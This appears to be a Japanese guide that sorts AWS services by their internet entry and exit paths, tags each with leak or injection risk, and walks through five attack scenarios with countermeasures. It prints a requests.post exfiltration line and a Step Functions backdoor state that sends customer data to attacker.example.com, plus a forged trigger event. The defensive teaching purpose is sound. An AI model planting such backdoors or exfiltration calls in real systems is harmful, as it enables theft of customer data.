はじめに
AWSのセキュリティインシデントの多くは、「このサービスがインターネットと繋がっているとは思っていなかった」 という認識の甘さから始まります。
- SageMakerのトレーニングジョブが、知らないうちに外部サーバーにデータを送っていた
- CodeBuildがデフォルト設定のままで、悪意あるnpmパッケージをインターネットから取得していた
- DynamoDBにVPC Endpointを設定していたのに、別アカウントから普通にアクセスできた
- CloudWatch Dashboardの「共有リンク」を設定したまま忘れていて、メトリクスが外部公開されていた
こうした事例に共通するのは、「インターネットとの接点を把握できていない」 という問題です。
このドキュメントでは、AWSのネットワーク関連サービスを①〜⑥の6カテゴリに分類し、「どのサービスがどの経路でインターネットと繋がりうるか」を体系的に整理します。さらに、各経路で発生しうるリスクを o（情報漏洩）/ i（混入）/ a（両方） のサブカテゴリで付記します。
対象読者： AWSを使った設計・開発・運用・セキュリティレビューに関わるすべての方
①〜⑥ カテゴリの全体像
⚠️ 大前提：「ネットワーク経路の分類」と「セキュリティリスクの種類」は別軸
このドキュメントの①〜⑥はネットワーク経路の分類であり、「どこが通信の起点・出入口か」を整理するものです。
情報漏洩やウイルス混入は、その先のアプリ層・データ層・認証層の話であり、NW分類とは別次元のリスクです。
ただし、どの経路を通じてリスクが顕在化するかを把握するために、全カテゴリにリスクサブカテゴリを付記します：
| サブ記号 | 意味 | 具体例 |
|---|---|---|
| a（両方） | 漏洩と混入の両方が起きうる | ALB：レスポンスでデータ漏洩 / リクエストでSQLi注入 |
| o（漏洩） | 主に内部データが外部へ漏れる経路 | Egress-Only IGW：アウトバウンド専用 |
| i（混入） | 主にウイルス・悪意コード・設定値が内部に入る経路 | Cognito：認証破壊・なりすまし |
注意： 「入口（②）＝混入リスクのみ」「出口（③）＝漏洩リスクのみ」ではありません。
入口サービスでも、レスポンスに機密データを含む場合は漏洩リスクがあります。
出口サービスでも、外部から悪意あるコード・パッケージを取得する場合は混入リスクがあります。
aが多いのは正常です。経路を通じて発生しうるリスクの両面を意識することが目的です。
分類の考え方
【核心的な判定基準】
②③④ ：①以外を経由せずに、自らが直接インターネットとの出入口になれるサービス
⑤ ：Ingress時は必ず②または④を経由、Egress時は必ず③または④を経由するサービス
⑥ ：①-2（CLI/コンソール等）経由でのみアクセスされ、データはAWS内部のみで完結
「①以外を経由せず」の意味：
NAT GWのような他の②③④サービスをさらに挟まずに、自らが直接インターネットと通信できる。
EC2（VPC内）はNAT GW（③）を経由しないと外に出られないため⑤。
NAT GW自身は何も経由せずに直接外に出られるため③。
| 分類 | 判定基準 |
|---|---|
| ①-1 | 専用線・VPN型の閉域接続インフラ |
| ①-2 | インターネット越しにAWS APIを直接操作する手段（データはAWSで処理） |
| ①-3 | DNS |
| ② | ①以外を経由せず、インターネットから直接入口になりうる |
| ③ | ①以外を経由せず、インターネットへ直接出口になりうる |
| ④ | ②と③の両方の性質を持つ（入口・出口は通信方向・主体・プロトコルが独立） |
| ⑤ | Ingress時は②or④を、Egress時は③or④を必ず経由する |
| ⑥ | ①-2（CLI/コンソール等）経由でのみ操作・参照され、②～⑤とは経路が異なる |
①-1 外部サービス接続（専用線・VPN型）
インターネットを経由せず、専用の閉域網や暗号化トンネルでAWSと外部ネットワークを接続するインフラ。
データ通信の「別ルート」を提供するが、それ自体がインターネットの出入口になるわけではない。
| サービス | 概要 |
|---|---|
| Direct Connect | オンプレミスとAWSを専用物理回線で接続 |
| Site-to-Site VPN | オンプレミスとAWSをIPSec VPNトンネルで接続 |
| Client VPN | 個人端末からAWS VPCへのリモートアクセスVPN |
| Transit Gateway (TGW) | 複数VPCやオンプレミスを集約接続するハブ |
①-2 API操作手段（インターネット越しのAWS操作）
インターネットを経由してAWSのパブリックAPIエンドポイントを直接叩く「操作手段」。
②〜④のような「AWSのサービスとしてインターネットに公開されている入口」ではなく、
操作命令をAWSに送る手段であり、ユーザーのビジネスデータは基本的にはこの経路を主には通らない（ただしパラメータ・テンプレート・レスポンスに機密情報を含む場合はある）。
| 手段 | 通信経路 | リスク観点 |
|---|---|---|
| AWS CLI | インターネット → AWSパブリックAPIエンドポイント | 認証情報の漏洩・不正操作 |
| AWS SDK | 同上（アプリ組み込み） | アクセスキー漏洩・業務データ漏洩 |
| AWS Management Console | 同上（ブラウザ） | アカウント乗っ取り・フィッシング |
| CloudFormation / CDK | 同上（インフラ定義をAWSに送信） | テンプレートに埋め込まれた機密情報・意図しないリソース作成 |
| Terraform（AWS Provider） | 同上 | 同上 |
①-1 vs ①-2 の違い：
①-1はネットワークレベルで「別経路」を作るインフラ。
①-2はアプリケーションレベルで「AWSを操作する手段」。
②〜⑤のサービスが「インターネットとデータをやり取りする出入口」であるのに対し、
①-2は「そのサービス群を設定・制御する手段」と位置付けられる。
①-3 DNS
Route 53 はAWSのDNSサービスで外部からの名前解決起点。②入口の前段としての側面もある。
② 入口（Ingress）
①以外を経由せず、インターネットから直接AWS内部への入口となりうるサービス。
このサービス自身がインターネットからのトラフィックを直接受け付ける。
⚠️ 入口＝混入リスクだけではない。レスポンスに機密データが含まれれば漏洩リスクにもなる（→ aが多い理由）
②a 漏洩・混入 両方のリスクあり
| サービス | 概要 | 漏洩リスク（o） | 混入リスク（i） |
|---|---|---|---|
| CloudFront | グローバルCDN。エッジでHTTPS終端 | レスポンスキャッシュへの機密データ混入・配信 | キャッシュポイズニング・悪意コンテンツのオリジン注入 |
| ALB | L7ロードバランサー。HTTPSリスナー | レスポンスボディ・ヘッダー経由の機密漏洩 | SQLi / XSS / コマンドインジェクション |
| NLB | L4ロードバランサー。TCP/UDP | 同上 | WAFが効かないためiリスク特に高い |
| API Gateway | REST / HTTP / WebSocket API マネージドGW | APIレスポンスでの過剰データ公開 | インジェクション攻撃・不正APIコール |
| S3（パブリック公開時） | 静的ウェブホスティング・直接ダウンロード | バケット内データの全体公開・意図しないファイル漏洩 | 書き込み権限があればマルウェアファイルのアップロード |
| Transfer Family | SFTP / FTPS / FTP マネージドエンドポイント | ファイルの不正ダウンロード | マルウェアファイルのアップロード転送 |
| Global Accelerator | AWSエッジ経由でALB/NLBへ静的IP付き転送 | バックエンドからの機密データ漏洩 | バックエンドへの悪意ペイロード転送 |
| CodeCommit | マネージドGitリポジトリ | コード・シークレット・設計情報の漏洩 | 悪意コード・シークレットのpush・サプライチェーン攻撃 |
| AppSync | GraphQL APIマネージドGW | GraphQLレスポンスによる過剰データ公開（型情報含む） | GraphQLクエリインジェクション・イントロスペクション悪用 |
| SQS | 外部からHTTPS APIで直接SendMessage | メッセージ内の機密データ露出 | 外部からの悪意メッセージ注入 |
| Kinesis Data Streams | 外部からHTTPS APIでPUTRecord | メッセージ内の機密データ露出 | 外部PUTによる悪意データ注入 |
| ECR（パブリック / デフォルト構成） | コンテナイメージレジストリ | 独自イメージ・設定・シークレットの漏洩 | 悪意コンテナイメージのpush・サプライチェーン攻撃 |
| DynamoDB（デフォルト） | KeyValueデータベース。外部からHTTPS APIで直接操作 | テーブルデータの不正読み取り・別アカウント書き込み | 外部からの不正データ書き込み・改ざん |
| Verified Access | ゼロトラストアクセスプロキシ。HTTP/HTTPSのみ。IDプロバイダー連携でユーザー・デバイスを検証 | レスポンスに機密データを含む場合の漏洩。バックエンドAPIの過剰公開 | IDトークン偽造・なりすましによる不正アクセス。リクエスト経由のインジェクション攻撃 |
DynamoDB の詳細補足
構成 通信経路 分類 デフォルト（Endpoint未設定） EC2 → NAT GW / IGW → DynamoDBパブリックエンドポイント ② Gateway Endpoint設定後 EC2 → VPC内プライベート経路 → DynamoDB ⑤ VPC Endpointを作っても「VPC外の第三者がテーブルへアクセスすることを防ぐものではない」。
追加対策：
- DynamoDBリソースポリシー で aws:SourceVpc 条件を設定し、指定VPC以外からのアクセスを拒否
- Gateway VPC Endpointポリシー でアクセス可能なテーブル・アクション・プリンシパルを絞り込む
②i 混入リスク主体
| サービス | 概要 | 混入リスク |
|---|---|---|
| Cognito（ホストUI） | ユーザープールのサインイン画面が外部公開 | 認証情報窃取・なりすまし・フィッシング。Cognito自体に保存されるユーザデータは漏洩しにくい |
Cognito が保持するユーザーデータの漏洩経路についての詳細補足
② 経路（ホストUI）では、Cognito のユーザープールに保存されているユーザー情報（メールアドレス・電話番号・カスタム属性など）を直接読み取ることはできません。ホストUIはあくまで認証フォームを提供するエンドポイントであり、ユーザープールのデータを返す口ではないためです。
ただし、② 経由で認証情報が窃取された場合、そのトークンを使って ALB・API Gateway 背後の業務データへの不正アクセスが可能になるため、Cognito 自体のデータは漏れないが、その後段のサービスが保持する業務データの漏洩につながりうるという点に注意が必要です。
Cognito のユーザープールデータ自体が漏洩するのは主に ①-2 経路（CLI/SDK/コンソール） です。IAM 認証情報が漏洩した攻撃者が ListUsers や AdminGetUser 等の API を直接呼び出すことで、ユーザープール内の全ユーザーのメールアドレス・属性情報を一括取得できます。この観点では、Cognito のユーザープールは ⑥a（CLI 経由専用、漏洩・混入両方のリスク）としての側面も持ちます。
② 保護レイヤー（リスク源ではなく防御層）
| サービス | 概要 |
|---|---|
| WAF | ALB / CloudFront / API GW前段のL7フィルター。ルール未設定・バイパス経路の存在に注意 |
| Shield | DDoS対策（Standard / Advanced）。②の可用性を保護する位置づけ |
②-R データ閲覧型入口（ダッシュボード・ビューアー型）
②の中でも特に注意が必要な「データを直接参照・表示できる入口」。
通常のAPI入口と異なり、IAM認証を持たないユーザーがデータを閲覧できる状態になりうる。
Cognitoの連携やパブリック共有設定により、意図せずビジネスデータが丸見えになるリスクがある。
| サービス | 公開しうるデータ | リスクポイント |
|---|---|---|
| OpenSearch Dashboards | インデックス内の全検索データ | パブリックアクセス設定 or Cognito連携でインターネット公開可 |
| CloudWatch Dashboards | メトリクス・ログ・アラーム情報 | 「共有リンク」機能でIAM不要のパブリック公開が可能 |
| QuickSight（パブリック埋め込み） | BIレポート・集計データ | 埋め込みURLでIAM認証なしに外部公開可能 |
| Amazon Managed Grafana | 任意のデータソースの可視化データ | 匿名アクセス設定でパブリック公開可 |
③ 出口（Egress）
①以外を経由せず、AWS側から直接インターネットへアウトバウンドできるサービス。
このサービス自身が直接インターネットへの出口になる。
⚠️ 出口＝漏洩リスクだけではない。インターネットから悪意コード・パッケージを取得する場合は混入リスクにもなる（→ aが多い理由）
📌 コンソールで「操作する」だけでも出口になるサービスに注意（CloudShell・SageMaker・CodeBuild等）
手元のPCで操作しても、実際に通信するのはAWS側のVPC外実行環境。操作者のPCと通信の出どころは別物。
③a 漏洩・混入 両方のリスクあり
| サービス | 実行環境 | 漏洩リスク（o） | 混入リスク（i） |
|---|---|---|---|
| NAT Gateway | VPCのゲートウェイ | プライベートサブネット内リソースからのデータ外部送信 | 内部リソースによるマルウェア・悪意パッケージダウンロード |
| VPC外Lambda | AWS管理VPC外マイクロVM | 外部APIへのデータ送信・exfiltration | 悪意ライブラリの実行時取得（pip/npmなど） |
| CloudShell | AWS管理VPC外コンテナ | 手動操作による機密データの外部送信・踏み台悪用 | マルウェアダウンロード・悪意スクリプト実行 |
| SageMaker AI（非VPC構成） | AWS管理VPC外インスタンス | 学習データ・モデル・推論結果の意図しない外部送信 | 悪意モデルウェイト・コードのダウンロード |
| CodeBuild（非VPC構成） | AWS管理VPC外コンテナ | ビルド成果物・環境変数・シークレットの外部送信 | 悪意npm/pip/Dockerパッケージの取得（サプライチェーン攻撃） |
③o 漏洩リスク主体
| サービス | 概要 | 漏洩リスク |
|---|---|---|
| Egress-Only Internet Gateway | IPv6専用アウトバウンド出口（インバウンド不可） | IPv6環境での内部リソースによる意図しないデータ外部送信 |
④ 入口・出口 両方あり
入口と出口の両方を持つサービス。
入口と出口では通信の方向・主体・プロトコルが独立して異なる。入口を塞いでも出口は生きており、逆も然り。
④a 漏洩・混入 両方のリスクあり（ほぼ全サービスが該当）
| サービス | 入口（Inbound）方向 | 出口（Outbound）方向 | 漏洩リスク（o） | 混入リスク（i） |
|---|---|---|---|---|
| Internet Gateway (IGW) | 外部→VPC内パブリックIPへ受信 | VPC内リソースが外部へ送信 | 内部リソースのデータ外部送信 | 外部からの攻撃トラフィック・マルウェアダウンロード |
| SES | 外部メール受信（Receivingルール） | 外部SMTPへのメール送信 | 送信メールへの機密情報混入・漏洩 | 受信メールへの悪意添付ファイル・フィッシング |
| EventBridge | 外部SaaSのWebhookイベント受信 | ターゲットとして外部HTTP APIを呼び出す | 外部API呼び出しによるデータ漏洩 | 悪意SaaSイベントによる不正ロジック実行 |
| SNS | 外部からHTTPS APIで直接Publish | SubscriptionとしてHTTPS外部エンドポイントへPUSH | PUSH先への機密データ送信 | 外部Publishからの悪意メッセージ注入 |
| Kinesis Data Firehose | 外部からHTTPS APIでPUTRecord | S3/外部HTTPエンドポイントへ自動配信 | 配信先（外部HTTP）への機密データ漏洩 | 外部PUTによる悪意データ注入 |
| Kinesis Video Streams | カメラ等外部デバイスがSDKでPUT | 外部への再生エンドポイント | 映像データの意図しない外部公開 | 映像ストリームへの悪意データ混入 |
| Bedrock | 外部クライアントからAPIで直接呼び出し | Agentが外部APIをアクションとして呼び出す | Agent経由での機密データの外部API送信 | プロンプトインジェクション攻撃 |
| Step Functions | 外部からAPIで直接実行トリガー | タスクとして外部HTTPSエンドポイントを呼び出す | 外部HTTP呼び出しによるデータ漏洩 | 外部トリガーによる不正ワークフロー実行 |
| CodeArtifact | 外部クライアントからHTTPS経由でパッケージをpublish / fetch | アップストリーム機能でPyPI・npmjs.com等の外部リポジトリへ自発的に接続・取得 | 内部パッケージ・依存関係情報の漏洩 | 悪意アップストリームパッケージの混入・サプライチェーン攻撃 |
⑤ 内部サービス
直接インターネットと通信できず、以下を必ず経由しなければならないサービス。
- Ingress（外→内）時：必ず ② または ④ を経由する
- Egress（内→外）時：必ず ③ または ④ を経由する
例：プライベートサブネット内のEC2はインターネットに出るにはNAT GW（③）が必須。ALB（②）がないとインターネットから直接届かない。
ℹ️ VPC Endpointの位置づけ： このサービスはここに分類されるが、
その目的は「③④を使わずにAWSサービスへプライベート接続する」ための仕組みであり、
③④を抑制するための手段でもある。
注意
⑤のサービスをパブリックサブネットに配置してパブリックIPを付与すると、②～④相当の露出状態になります。
VPC内コンピュートリソース（EC2・ECS・EKS等）は原則プライベートサブネットに配置し、インターネットからのアクセスは②（ALB・NLB等）を経由させることが重要です。
| サービス | 概要 |
|---|---|
| Security Group (SG) | インスタンスレベルのステートフルなトラフィック制御 |
| Network ACL (NACL) | サブネットレベルのステートレスなトラフィック制御 |
| VPC Endpoint（Gateway / Interface） | インターネット不使用でAWSサービスへプライベート接続。③④を使わないために活用 |
| VPC Lattice | VPC間・サービス間の内部通信をマネージドに制御 |
| Cloud Map | VPC内サービスディスカバリ（DNS / APIによる登録・検索） |
| SSM Session Manager | EC2への接続手段。EC2エージェントがSSMエンドポイントにアウトバウンドする構造のため、インターネット側からの穴あけ不要。VPC Endpoint未設定の場合はNAT GW（③）を経由するがSSM自体は③ではない |
| EC2 / ECS / EKS（VPC内） | VPC内コンピュートリソース。NAT GWなしでは外に出られない |
| RDS / Aurora（デフォルト） | VPC内プライベートIPのみ。パブリックアクセス有効化で②相当になるため原則無効化 |
| ElastiCache | VPC内のみアクセス可能なキャッシュサービス |
| EFS | VPC内マウントターゲット経由でのみアクセス可能なマネージドNFSストレージ |
| DMS（Replication Instance） | VPC内で動作するDB移行サービス。外部DBへの接続は①か③を経由 |
⑤ Aurora / RDS の抜け穴リスク
リスクシナリオ 内容 パブリックアクセス有効化 RDS作成時に「パブリックアクセス可」にするとパブリックIPが付与され、SG設定次第で外部から直接接続可能になる スナップショットExfiltration VPC内の侵害されたEC2がAuroraへデータ書き込み → スナップショットを別アカウントに共有する迂回経路 RDS Proxy Proxy自体はVPC内だが、接続クライアントが外部にいる場合はSG設定次第
⑥ ①-2経由専用サービス（CLI/コンソールでのみ操作・参照）
②～⑤のようにデータがネットワーク経路を通じて流れるのではなく、
①-2（CLI / SDK / コンソール / CloudFormation等）経由でのみ操作・設定・参照されるサービス群。
ユーザーのビジネスデータが②③④の経路を直接流れることはなく、AWSのコントロールプレーン内で完結する。
⑤との違い：
⑤は「②～④を経由してアクセスされるサービス（例：ALB経由でEC2にリクエストが届く）」
⑥は「②～④を経由せず、CLI/コンソールから設定・確認・実行されるサービス（例：CloudTrailのログを確認する）」
⚠️ ⑥でも a/i/o リスクは存在する。
②③④との違いは「ネットワーク経路が①-2に限定される」だけであり、
認証情報が漏洩すれば機密データが外部に流れ（o）、
不正アクセスで悪意ある設定・スクリプト・ポリシーを注入される（i）リスクは十分ある。
また、⑥サービスの一部は内部処理でAWSサービスを呼び出す際に②③④を経由するケースがある（例：GlueがS3を参照）。
⑥a 漏洩・混入 両方のリスクあり
| サービス | 漏洩リスク（o） | 混入リスク（i） |
|---|---|---|
| CloudTrail | API操作履歴・ユーザー行動パターンが漏洩し、攻撃者の偵察に使われる | Trail の無効化・削除による証跡隠蔽（隠蔽行為そのものが"悪意注入"） |
| CloudWatch（メトリクス/ログ/Alarm） | アプリログに混入したPII・認証情報・スタックトレースの漏洩 | 偽カスタムメトリクスのPUSHによるアラーム誤作動・監視妨害 |
| AWS Config | リソース構成・変更履歴が攻撃者の偵察情報になる | Configルールの削除・無効化で設定ミスの証跡隠蔽 |
| AWS Glue | ETL接続情報（DB認証情報等）・処理データの漏洩 | 悪意ETLスクリプトの注入によるデータ改ざん・外部送信 |
| Amazon Athena | クエリ結果・クエリ履歴からS3上の機密データが漏洩 | 悪意クエリの注入によるデータ抽出・S3操作 |
| Amazon EMR | ジョブ処理結果・ログの漏洩 | ジョブスクリプトへの悪意コード注入 |
| IAM / Organizations / SCP | ポリシー定義・ロール構成の漏洩がセキュリティ構造の露呈に直結 | バックドアロール・権限昇格ポリシーの注入 ⚠️ 最高リスク：アカウント全体の制御奪取につながる |
| CodePipeline（パイプライン制御） | パイプライン定義・実行ログ・アーティファクト情報の漏洩 | 悪意ステージ・スクリプトの注入によるサプライチェーン攻撃 |
| CodeDeploy | デプロイ設定・スクリプト・対象インスタンス情報の漏洩 | 悪意デプロイスクリプトの注入によるサプライチェーン攻撃 |
| Systems Manager Parameter Store / Secrets Manager | シークレット・接続文字列・APIキーの漏洩 ⚠️ 最高リスク：全サービスの認証情報が集約 | 悪意パラメータ値の注入（偽DBエンドポイント・悪意スクリプトパス等） |
| CloudFormation / CDK（テンプレート） | テンプレートに含まれるアーキテクチャ設計・パラメータ値の漏洩 | 悪意リソース定義の注入による意図しないインフラ作成 |
| Control Tower / Security Hub / GuardDuty | セキュリティ検出結果・コンプライアンス状況の漏洩 | 検出ルールの無効化・抑制ルールの悪意設定 |
⑥o 漏洩リスク主体
| サービス | 漏洩リスク（o） |
|---|---|
| X-Ray | トレースにリクエスト/レスポンスの機密データ・パラメータが含まれる場合の漏洩。混入リスクは薄い |
注： Athena・Glueはクエリ実行やジョブ実行に際してS3等のデータを読み書きするが、
そのデータ通信はVPC内またはVPC Endpoint経由であり、⑥はあくまで「操作手段の分類」。
🔥 実際にやられるシナリオ
ここまでの分類を踏まえ、実際に起きうる（あるいは実際に起きている）攻撃シナリオをカテゴリと対応付けて示します。
シナリオ１：SageMaker AIが学習データを外部に送出していた（③a）
状況：
機械学習チームが外部ベンダーから受け取った学習スクリプトをそのままSageMaker Studioで実行していた。
何が起きたか：
スクリプトの中に requests.post("https://attacker.example.com", data=training_data) が埋め込まれており、学習ジョブ実行中に訓練データ（顧客の行動ログ）が外部サーバーに送信されていた。
なぜ気づかなかったか：
SageMaker StudioはデフォルトでVPC外実行。コンソールから「学習ジョブを起動する」操作をしているだけで、実際にインターネットへアウトバウンドしているのはAWS側の実行環境であることを意識していなかった。CloudTrailにはジョブ起動のAPIログが残るだけで、学習中のアウトバウンド通信は記録されない。
対策：
- SageMaker AI（Training Job・Studio・Notebook Instance）をVPC内のプライベートサブネットに配置
- CodeArtifact にVPC Endpoint経由で接続し、承認済みパッケージのみ取得できる構成にする
- AWS Network Firewall でアウトバウンドを許可リスト制御（pypi.org / files.pythonhosted.org / *.amazonaws.com のみ許可、それ以外は拒否）。なお Network Firewall 構成では NAT GW・IGW は引き続き必要であり、トラフィックは「プライベートサブネット → Network Firewall → NAT GW → IGW → インターネット」の順に経由する
- ECR・S3 はVPC Endpointを設定し、インターネットを経由せずプライベート接続する
- 外部提供スクリプトはコードレビューを必須化
シナリオ2：CodeBuildが悪意あるnpmパッケージを取得しシークレットを外部送信（③a + ⑥a）
状況：
Node.jsアプリのCI/CDパイプラインでCodeBuild（非VPC構成）を使用。package.json に記載された依存パッケージの中に、タイポスクワッティング攻撃によって悪意あるパッケージ（lodahs のような本物に似た名前）が混入していた。
何が起きたか：
npm install 実行時に悪意パッケージがインストールされ、その postinstall スクリプトがCodeBuildの環境変数（AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY）を外部サーバーに送信。攻撃者は取得したキーを使って IAM（⑥a）にバックドアロールを作成し、長期間潜伏した。
なぜ気づかなかったか：
- CodeBuildはデフォルトVPC外のためインターネット直接通信（③）
- npm installはビルドの「通常動作」のため疑われにくい
- CloudTrailにはIAMのバックドアロール作成ログが残っていたが、誰も確認していなかった
対策：
- CodeBuildをVPC内に配置し、アウトバウンドをNAT GW・IGW経由に限定。AWS Network Firewall で許可リスト制御（npmjs.com / pypi.org / *.amazonaws.com のみ許可）し、悪意ある接続先へのシークレット送信をブロック
- CodeArtifact をVPC Endpoint経由で接続し、承認済みパッケージのみ取得できる構成にする（タイポスクワッティング対策の本命）
- Amazon Inspector でSBOM（Software Bill of Materials）を生成・チェックし、既知の脆弱性を持つパッケージや不審なパッケージを検出する
- CloudTrailのIAM操作アラートをCloudWatchで設定し、バックドアロール作成を即時検知する
シナリオ3：DynamoDB のVPC Endpoint設定を「対策済み」と誤解していた（②a）
状況：
セキュリティ審査で「DynamoDBをVPC Endpoint経由でのみアクセスさせること」と指摘を受けたチームが、Gateway VPC Endpointを設定して「対応完了」と報告した。
何が起きたか：
VPC Endpointは「VPC内からDynamoDBへのプライベート経路」を作るだけであり、外部からのアクセスは引き続き可能。漏洩したIAMアクセスキーを使った攻撃者が、インターネット越しに直接DynamoDBのAPIを叩き、全テーブルを読み取った。
なぜ気づかなかったか：
VPC Endpoint設定の目的（内部経路のプライベート化）と、外部アクセス遮断の手段（SCPやリソースポリシー）を混同していた。DynamoDB はデフォルトでパブリックエンドポイントを持つ②カテゴリのサービスであることを認識していなかった。
対策：
- DynamoDBリソースポリシー で aws:SourceVpc 条件を設定し、指定VPC以外からのアクセスを拒否
- Gateway VPC Endpointポリシー でアクセス可能なテーブル・アクション・プリンシパルを絞り込む
シナリオ4：CloudWatch Dashboardの「共有リンク」で内部メトリクスが丸見えに（②-R）
状況：
インフラチームが障害対応中に外部ベンダーへ一時的に状況を共有するため、CloudWatch Dashboardの「共有リンク」機能を有効化した。障害対応後、リンクの無効化を忘れた。
何が起きたか：
共有リンクはIAM認証不要で誰でもアクセス可能なURL。ダッシュボードにはDBの接続数・エラーレート・カスタムメトリクス（内部バッチ処理の件数など）が表示されており、6ヶ月間インターネット上に公開され続けた。競合他社が定期的にアクセスしていたことが後から判明。
なぜ気づかなかったか：
「CloudWatchは監視サービス」という認識から、外部接続リスクを想定していなかった。②-Rカテゴリの「データ閲覧型入口」であることを把握していなかった。
対策：
- CloudWatch Dashboard共有設定を定期的に棚卸しする
- 共有リンクには有効期限を設定し、不要になったら即無効化
- AWS Configルールで共有リンクが有効なDashboardを検出する
シナリオ⑤：内部犯行者による Step Functions 定義改ざん＋SaaS偽装イベントで顧客情報を外部送信（④a + ③a）
状況：
Salesforceとの連携のため、以下の構成を組んでいた。
Salesforce
→ カスタムイベントバス（HTTPS Webhook受信）
→ EventBridge ルール（④a：SaaSイベント受信）
→ Step Functions
├─ DB更新処理
└─ HTTP Task（③a：Salesforce APIへ処理結果をコールバック）
Step FunctionsのHTTP Taskは、re:Invent 2023以降に利用可能になった機能で、Lambda不要で外部HTTPS APIを直接呼び出せる。接続先URLと認証情報はステートマシン定義（ASL）内に記述され、認証情報はEventBridge Connectionを通じてSecretsManagerに保存されている。
何が起きたか（2段階）：
【段階1：内部犯行者によるASL定義の改ざん】
内部犯行者（元担当エンジニア）が退職前にStep Functionsのステートマシン定義を改ざん。正規のSalesforceコールバック処理に加え、以下の条件付きステートを密かに追加した。
{
"CheckDebugFlag": {
"Type": "Choice",
"Choices": [
{
"Variable": "$.metadata.mode",
"StringEquals": "diag",
"Next": "ExfiltrateData"
}
],
"Default": "NormalCallback"
},
"ExfiltrateData": {
"Type": "Task",
"Resource": "arn:aws:states:::http:invoke",
"Parameters": {
"Method": "POST",
"ApiEndpoint": "https://attacker.example.com/collect",
"Authentication": {
"ConnectionArn": "arn:aws:events:ap-northeast-1:123456789:connection/backdoor-conn"
},
"RequestBody.$": "$.customerData"
},
"Next": "NormalCallback"
}
}
metadata.mode が "diag" の場合のみ顧客情報（customerData）を外部に送信し、その後は通常のコールバック処理に合流するため、処理結果上は正常に見える。通常のSalesforceイベントはこのフィールドを含まないため、テストでも本番の通常運用でも一切発動しなかった。
また、バックドア用のEventBridge Connection（backdoor-conn）もSecretsManagerに正規Connectionに混ざって追加されており、見逃されていた。
【段階2：外部攻撃者によるSaaS偽装イベント送信】
内部犯行者は退職前にカスタムイベントバスのWebhook認証情報を外部に持ち出していた。攻撃者はその認証情報を使い、Salesforceを偽装した細工済みイベントをEventBridgeに直接送信した。
{
"source": "salesforce.crm",
"detail-type": "CustomerUpdated",
"detail": {
"customerId": "ALL",
"customerData": "<全顧客データのクエリ結果>",
"metadata": {
"mode": "diag"
}
}
}
metadata.mode: "diag" が含まれるため、改ざんされたStep Functionsのバックドアステートが発動し、顧客情報が攻撃者のサーバーに送信された。
なぜ気づかなかったか：
- Step Functionsのステートマシン定義（ASL）の変更はCloudTrailに記録されるが、差分監視・レビューの仕組みがなかった
- SecretsManagerに不審なEventBridge Connectionが追加されていたが、棚卸しが行われていなかった
- 通常パラメータでは発動しないため、テストも本番監視も一切引っかからなかった
- カスタムイベントバスのWebhook認証情報が退職者によって持ち出されたことを検知できていなかった
- EventBridgeのカスタムイベントバスへの外部PutEvents（④の入口）と、Step Functions HTTP Taskによる外部送信（③の出口）を別々のリスクとして認識していなかった
対策：
- Step Functionsステートマシン定義の変更をCloudTrailで監視し、CloudWatchアラートで即時検知する（特にHTTP TaskのApiEndpoint追加・変更）
- EventBridge ConnectionおよびSecretsManagerのシークレットを定期棚卸しし、不審なConnectionを検出する
- カスタムイベントバスへのPutEventsをIAMポリシーで送信元アカウント・IPを制限し、Webhook認証情報のローテーションを定期実施する
- Step Functions HTTP Taskの接続先を AWS Network Firewallの許可リスト（Salesforce公式ドメインのみ）で制限し、想定外の外部エンドポイントへの接続をブロックする
- ステートマシン定義の変更を Pull Requestレビュー必須のIaCで管理し、コンソールからの直接変更を SCPまたはIAMポリシーで禁止する
- 退職者のIAMロール・認証情報を即時無効化するオフボーディングプロセスを整備する
- 公式Partner Event Sourceを利用可能な場合は、カスタムWebhook連携ではなく、Salesforce Event Bus RelayまたはAmazon AppFlow経由の公式Partner Event Sourceを使用する。これによりイベント送信元の認証はSalesforceが担保し、認証情報の漏洩による外部偽装リスクを排除できる
早引き：サービス分類一覧
| サービス | 分類 | 備考 |
|---|---|---|
| Route 53 | ①-1 | ②の前段DNSとしての側面もある |
| Direct Connect | ①-1 | |
| Site-to-Site VPN | ①-1 | |
| Client VPN | ①-1 | |
| Transit Gateway | ①-1 | |
| AWS CLI / SDK / Console | ①-2 | インターネット経由でAWS APIを操作 |
| CloudFormation / CDK / Terraform | ①-2 | IaC操作手段 |
| CloudFront | ②a | |
| ALB | ②a | |
| NLB | ②a | WAFが効かずiリスク高 |
| API Gateway | ②a | |
| S3（パブリック公開時） | ②a | パブリックアクセスブロック推奨 |
| Transfer Family | ②a | |
| Global Accelerator | ②a | |
| AppSync | ②a | GraphQL過剰公開に注意 |
| ECR（パブリック / デフォルト） | ②a | VPC Endpoint設定で⑤へ |
| CodeCommit | ②a | コード漏洩・悪意コード混入両方 |
| DynamoDB（デフォルト） | ②a → ⑤ | VPC Endpoint + SCP設定で⑤へ格上げ推奨 |
| Cognito（ホストUI） | ②i | 認証破壊・なりすまし主体 |
| WAF | ② 保護層 | リスク源ではなく防御 |
| Shield | ② 保護層 | 同上 |
| OpenSearch Dashboards | ②-R | データ閲覧型入口 |
| CloudWatch Dashboards | ②-R | 共有リンクで外部公開可 |
| QuickSight（パブリック埋め込み） | ②-R | IAM不要での公開可 |
| Amazon Managed Grafana | ②-R | 匿名アクセス設定注意 |
| NAT Gateway | ③a | |
| VPC外Lambda | ③a | |
| CloudShell | ③a | 実行環境がVPC外 |
| SageMaker AI（非VPC構成） | ③a | VPC内構成に変更で⑤へ |
| CodeBuild（非VPC構成） | ③a | npm/pip経由サプライチェーン攻撃に注意 |
| Egress-Only IGW | ③o | IPv6アウトバウンド専用 |
| Internet Gateway (IGW) | ④a | 双方向 |
| SES | ④a | 受信と送信は独立 |
| EventBridge | ④a | SaaSからのPUSH受信 + 外部API呼び出し |
| SNS | ④a | |
| SQS | ④a | |
| Kinesis Data Streams | ④a | |
| Kinesis Data Firehose | ④a | 外部HTTP配信先注意 |
| Kinesis Video Streams | ④a | |
| Bedrock | ④a | プロンプトインジェクション注意 |
| Step Functions | ④a | 外部HTTPS呼び出し |
| Security Group / NACL | ⑤ | |
| VPC Endpoint | ⑤ | ③④を抑制するための仕組み |
| VPC Lattice | ⑤ | |
| Cloud Map | ⑤ | |
| SSM Session Manager | ⑤ | EC2エージェントからのアウトバウンド構造 |
| EC2 / ECS / EKS（プライベートサブネット） | ⑤ | NAT GWなしでは外に出られない |
| RDS / Aurora（デフォルト） | ⑤ | パブリックアクセス有効化で②相当になるため注意 |
| ElastiCache | ⑤ | |
